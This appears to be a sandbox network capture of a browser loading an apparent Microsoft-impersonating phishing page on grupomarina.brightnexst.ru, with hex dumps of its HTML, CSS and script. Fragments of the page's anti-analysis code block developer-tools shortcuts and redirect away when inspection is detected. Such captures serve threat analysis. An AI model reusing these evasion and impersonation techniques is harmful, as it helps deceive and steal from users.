2025-03-17 20:55:12 UTC	334	IN	Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c Data Ascii: 147<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <titl
2025-03-17 20:55:12 UTC	1369	IN	Data Raw: 35 63 66 32 0d 0a 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 7d 0d 0a 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 2d 2d 73 3a 20 31 38 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 57 3a 20 31 33 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 48 3a 20 37 31 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 57 3a 20 31 31 38 70 78 3b 0d 0a 20 20 20 20 2d 2d 73 71 57 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 63 61 6c 57 29 20 2f 20 33 29 3b 0d 0a 20 20 20 20 2d 2d 73 71 48 3a 20 33 37 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 48 48 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 48 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 73 Data Ascii: 5cf2ackground-color: #fff; height: 100%; overflow: hidden;}:root { --s: 180px; --envW: 130px; --envH: 71px; --calW: 118px; --sqW: calc(var(--calW) / 3); --sqH: 37px; --calHH: 20px; --calH: calc(var(--s
2025-03-17 20:55:12 UTC	1369	IN	Data Raw: 72 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 34 39 30 64 66 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 30 70 78 2c 36 33 70 78 29 20 72 6f 74 61 74 65 28 2d 32 38 64 65 67 29 3b 7d 0d 0a 23 65 62 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 68 65 69 67 68 74 3a 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 32 33 62 36 64 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 37 30 70 78 3b 7d 0d 0a 23 63 61 6c 2c 23 63 61 6c 3e 2e 72 2c 23 63 61 6c 3e 2e 74 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 63 61 6c 57 29 3b 7d 0d 0a 23 63 61 6c 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 63 61 6c 48 Data Ascii: r{width:287px;background:#1490df;transform:translate(-120px,63px) rotate(-28deg);}#eb{width:var(--envW);height:40px;background:#123b6d;margin-top:-70px;}#cal,#cal>.r,#cal>.t{width:var(--calW);}#cal{flex-direction:row;flex-wrap:wrap;height:var(--calH
2025-03-17 20:55:12 UTC	1369	IN	Data Raw: 75 6e 64 3a 23 31 32 33 62 36 64 3b 7d 0d 0a 23 4d 53 4c 6f 67 6f 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 33 36 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 63 61 6c 63 28 35 30 76 77 20 2d 20 34 35 70 78 29 3b 0d 0a 7d 0d 0a 2f 2a 21 20 43 53 53 20 55 73 65 64 20 6b 65 79 66 72 61 6d 65 73 20 2a 2f 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 7b 30 25 2c 31 30 30 25 2c 31 32 2e 35 25 2c 33 32 2e 35 25 2c 35 30 25 2c 37 36 2e 31 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 7d 32 32 2e 35 25 2c 38 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 37 70 78 29 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 68 61 64 Data Ascii: und:#123b6d;}#MSLogo { position: fixed; bottom: 36px; left: calc(50vw - 45px);}/! CSS Used keyframes /@keyframes bounce{0%,100%,12.5%,32.5%,50%,76.1%{transform:translateY(0);}22.5%,86%{transform:translateY(7px);}}@keyframes shad
2025-03-17 20:55:12 UTC	1369	IN	Data Raw: 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 5a 64 41 4a 50 49 44 6d 46 70 20 3d 20 5b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6b 65 79 43 6f 64 65 3a 20 31 32 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 38 35 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 36 37 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 Data Ascii: t) { const ZdAJPIDmFp = [ { keyCode: 123 }, { ctrl: true, keyCode: 85 }, { ctrl: true, shift: true, keyCode: 73 }, { ctrl: true, shift: true, keyCode: 67 }, { ctrl: true, shift: tru
2025-03-17 20:55:12 UTC	1369	IN	Data Raw: 49 49 49 56 56 68 79 20 26 26 20 21 72 4e 58 59 64 4c 77 62 42 49 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6a 47 4e 58 53 6a 4b 51 77 48 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 4e 58 59 64 4c 77 62 42 49 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 74 73 79 2e 63 6f 6d 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 2c 20 31 30 30 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 70 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 64 6f 63 75 6d Data Ascii: IIIVVhy && !rNXYdLwbBI) { jGNXSjKQwH = true; rNXYdLwbBI = true; window.location.replace('https://www.etsy.com'); } }, 100);})(); document.addEventListener('copy', function(event) { if (docum
2025-03-17 20:55:12 UTC	1369	IN	Data Raw: 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 63 6c 6f 73 65 64 46 6c 61 70 22 3e 3c 64 69 76 20 69 64 3d 22 66 6d 61 73 6b 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 61 70 54 72 69 61 6e 67 6c 65 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 73 76 67 20 69 64 3d 22 4d 53 4c 6f 67 6f 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 77 69 64 74 68 3d 22 39 39 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 Data Ascii: /div></div><div id="closedFlap"><div id="fmask"><div class="flapTriangle"></div></div></div></div></div></div><svg id="MSLogo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="22" width="99"><g fill="none" fill-r
2025-03-17 20:55:12 UTC	1369	IN	Data Raw: 38 2e 30 31 31 6c 2d 2e 30 32 39 2d 2e 30 31 37 63 2d 2e 32 34 31 2d 2e 31 33 35 2d 2e 35 37 31 2d 2e 32 34 36 2d 2e 39 38 2d 2e 33 33 31 4d 35 39 2e 34 35 32 20 37 2e 35 39 37 61 32 2e 31 37 20 32 2e 31 37 20 30 20 30 30 2d 31 2e 34 31 35 2e 35 30 37 63 2d 2e 33 35 38 2e 32 39 36 2d 2e 36 31 36 2e 37 2d 2e 38 31 34 20 31 2e 32 30 37 48 35 37 2e 32 56 37 2e 37 35 33 68 2d 32 2e 31 31 36 76 38 2e 39 39 39 48 35 37 2e 32 76 2d 34 2e 36 30 33 63 30 2d 2e 37 38 34 2e 31 37 38 2d 31 2e 34 32 36 2e 35 32 38 2d 31 2e 39 31 32 2e 33 34 36 2d 2e 34 38 2e 38 30 36 2d 2e 37 32 33 20 31 2e 33 36 39 2d 2e 37 32 33 2e 31 39 20 30 20 2e 34 30 34 2e 30 33 31 2e 36 33 36 2e 30 39 33 2e 32 33 2e 30 36 33 2e 33 39 36 2e 31 32 39 2e 34 39 33 2e 32 6c 2e 30 39 2e 30 36 34 56 Data Ascii: 8.011l-.029-.017c-.241-.135-.571-.246-.98-.331M59.452 7.597a2.17 2.17 0 00-1.415.507c-.358.296-.616.7-.814 1.207H57.2V7.753h-2.116v8.999H57.2v-4.603c0-.784.178-1.426.528-1.912.346-.48.806-.723 1.369-.723.19 0 .404.031.636.093.23.063.396.129.493.2l.09.064V
2025-03-17 20:55:12 UTC	1369	IN	Data Raw: 37 2e 33 35 2e 34 34 39 2e 30 39 34 2e 38 35 39 2e 31 34 31 20 31 2e 32 31 33 2e 31 34 31 20 31 2e 30 39 36 20 30 20 31 2e 39 37 37 2d 2e 32 36 20 32 2e 36 32 2d 2e 37 37 31 2e 36 34 38 2d 2e 35 31 35 2e 39 37 36 2d 31 2e 32 30 34 2e 39 37 36 2d 32 2e 30 34 35 20 30 2d 2e 36 30 37 2d 2e 31 37 36 2d 31 2e 31 32 37 2d 2e 35 32 35 2d 31 2e 35 34 36 2d 2e 33 34 35 2d 2e 34 31 36 2d 2e 39 34 36 2d 2e 37 39 39 2d 31 2e 37 38 34 2d 31 2e 31 33 36 4d 38 34 2e 30 36 33 20 31 34 2e 34 36 35 63 2d 2e 33 39 38 2e 34 39 39 2d 2e 39 39 37 2e 37 35 31 2d 31 2e 37 38 2e 37 35 31 2d 2e 37 37 37 20 30 2d 31 2e 33 39 2d 2e 32 35 36 2d 31 2e 38 32 32 2d 2e 37 36 36 2d 2e 34 33 35 2d 2e 35 31 2d 2e 36 35 35 2d 31 2e 32 33 38 2d 2e 36 35 35 2d 32 2e 31 36 33 20 30 2d 2e 39 35 Data Ascii: 7.35.449.094.859.141 1.213.141 1.096 0 1.977-.26 2.62-.771.648-.515.976-1.204.976-2.045 0-.607-.176-1.127-.525-1.546-.345-.416-.946-.799-1.784-1.136M84.063 14.465c-.398.499-.997.751-1.78.751-.777 0-1.39-.256-1.822-.766-.435-.51-.655-1.238-.655-2.163 0-.95

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49732	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:12 UTC	1157	OUT	GET /rqNX84y2LLLeotfXXhDH1k2LmulOVtkFLk3LFLhRu0ew HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InV6ajB3QzJmbWdEdW80c250Z2ZEd3c9PSIsInZhbHVlIjoiN2V0VFRjc245T3RsSTd2cDVjVUc3RGZudkpxdkdjcVFMTHJmOFJ0ZmdBYlFxRjY2S3NVMS9zcWVvTTZUSGtabHNsVGN4eGMzRU1JZDN2VWFtZjRYQU5hU3UvMW90SUp2S3oyQWUyekhvc3dTSGVsOU9JN3VsUVBrTDRDZjJ5MmgiLCJtYWMiOiJhNTBiZmRiYjYyOGM3YzYxOGZiZGFlZjBlZmU2NzJlOTkzMjhlMmExZGJmYzNlNzE5YWY0NTRhMWI3MmI0ZjczIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImgxMUpTYkJzeVZQWkVTZGhxalhEY3c9PSIsInZhbHVlIjoiY3BnOFVteUpMbHBmVFdRYTM3UEQ2L0huUkNVUTBLQitPbW05bTQvTzhCL3VrMlpYRDA0Mi9OM0hPOFVOaEFhQ25BWVNlVVJvVm93MlEwaXd3TlFVRFBTODB4N0Z4bkNMUVVObzZiVUJYdkVVNHdORnVxTkVmRWNlMUdhYU54dFUiLCJtYWMiOiIyZGU3MDU3ZWExNjZkYWU3YTZjODkwM2FkMjY3MjRiYTk0MzA3MjY2ZjEwZjE3MTI0NGE2MjMxY2QzZDgyNTFkIiwidGFnIjoiIn0%3D
2025-03-17 20:55:12 UTC	1017	IN	HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2025 20:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7rl53jo%2FaF9PMyZ58I2rxkMVjLCL19Hr9fITUInjwtiM5UMEaICinvW1rqVy25h0ZAGlqtJfbPXOe3FZESl7UlCCxOzWpwqPvmzyIxEZeHBwrdGzJ9F0TB7KR4vK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1694&min_rtt=1499&rtt_var=594&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2068&delivery_rate=1920424&cwnd=250&unsent_bytes=0&cid=8def3e7a98fcb408&ts=86&x=0" Server: cloudflare CF-RAY: 921f63d01e3c432b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1699&rtt_var=654&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1729&delivery_rate=1650650&cwnd=190&unsent_bytes=0&cid=aaa63fda0f09f7c1&ts=425&x=0"
2025-03-17 20:55:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49733	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:12 UTC	1346	OUT	GET /favicon.ico HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/pax6lf1/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImY2L3FleFlvRmx1ZmVHMmY1NXRETWc9PSIsInZhbHVlIjoiV01HdnVjLzhnNTZiaWhvYVhqcDdNNUlJejdoVXl3K0pWQlo3TVZxWXkwQjFtTk9xV0FTOXk5YkZFb1p5a1NnR2hsNFo0bXhSVkFIbmFwOTFPSHFaNk5DUVJWc25ERmdBRUVXc05SSGdNYzR1TSsvMGZSWnpMV21vZ1o2OUxQMW8iLCJtYWMiOiI0NjE5YTYwNzJiY2M4NWQyZTNiZTMwOGY4MWE2YTA3NDVjMDM5MGY3ZDE4NjI3YzA3MzhkZDM2Njc4OTM1Nzc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBhWmtrUUJVNmJoNlQ5ZHA2MTU0Wnc9PSIsInZhbHVlIjoiZWhGaENsY05ybkRuWGx1YUlDdlR3TTZGNndSUGtFNlZBQ0l2OFd0VTg2a1hDU1ppdHR3b29SNDg1cUhMRzZWYzE3b1NWZ2RESnFFdDA1N2VjQUdnZi9YZHYxcUJxT2s5SkY3TmFIc0w4aXJZZVA2eXdFZWxQZ2MzaURkTWkzSEEiLCJtYWMiOiI0OWY1OWQ3OTVmMjY4MWI1M2FiYTU1ZjU4N2IzN2M4ZjZiYzJiMGI0NzNiY2Q1NTAzNGM4NWZiNzRmNGQwMzA5IiwidGFnIjoiIn0%3D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49736	35.190.80.1	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:12 UTC	522	OUT	POST /report/v4?s=M38fjdfrZwMhGFgUDmUvPM9bt5QvH3JId4Mx%2BqAaPhycRfw1luQ6fV4eKXgcqlgHJsfyB5s7OV3viqiNx1SobaJGrA1NNUK%2F5ODu%2BVstk%2Ftq9UHQsKR%2BxefYBWT2 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 431 Content-Type: application/reports+json Origin: https://grupomarina.brightnexst.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:12 UTC	431	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 32 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 34 31 2e 31 30 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 6d 61 72 69 6e 61 2e 62 72 69 67 Data Ascii: [{"age":1,"body":{"elapsed_time":923,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.41.104","status_code":404,"type":"http.error"},"type":"network-error","url":"https://grupomarina.brig
2025-03-17 20:55:12 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 17 Mar 2025 20:55:12 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49738	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:13 UTC	1371	OUT	GET /56ACCeVmLlcdPPXc8920 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:13 UTC	1074	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:13 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56ACCeVmLlcdPPXc8920" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S4e75VudPlyvhzi3HFLeEXMBcuhSagI5pVsg5%2FVrLGPmgCH0WXPT58AKf1AeIyxnGyLeCsmH7iODvpS1%2FfQL4%2BMSkBCnTSnzqJgFuH9tomQsmBIWeGbqP9lxyGNF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1032&min_rtt=995&rtt_var=353&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2281&delivery_rate=2280314&cwnd=251&unsent_bytes=0&cid=6d7697ebb964601a&ts=120&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63d5ad8060e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1641&rtt_var=623&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1943&delivery_rate=1746411&cwnd=214&unsent_bytes=0&cid=3083f81b3da74bf1&ts=440&x=0"
2025-03-17 20:55:13 UTC	295	IN	Data Raw: 33 63 64 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 Data Ascii: 3cd#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #p
2025-03-17 20:55:13 UTC	685	IN	Data Raw: 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 47 61 64 75 67 69 Data Ascii: me,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi
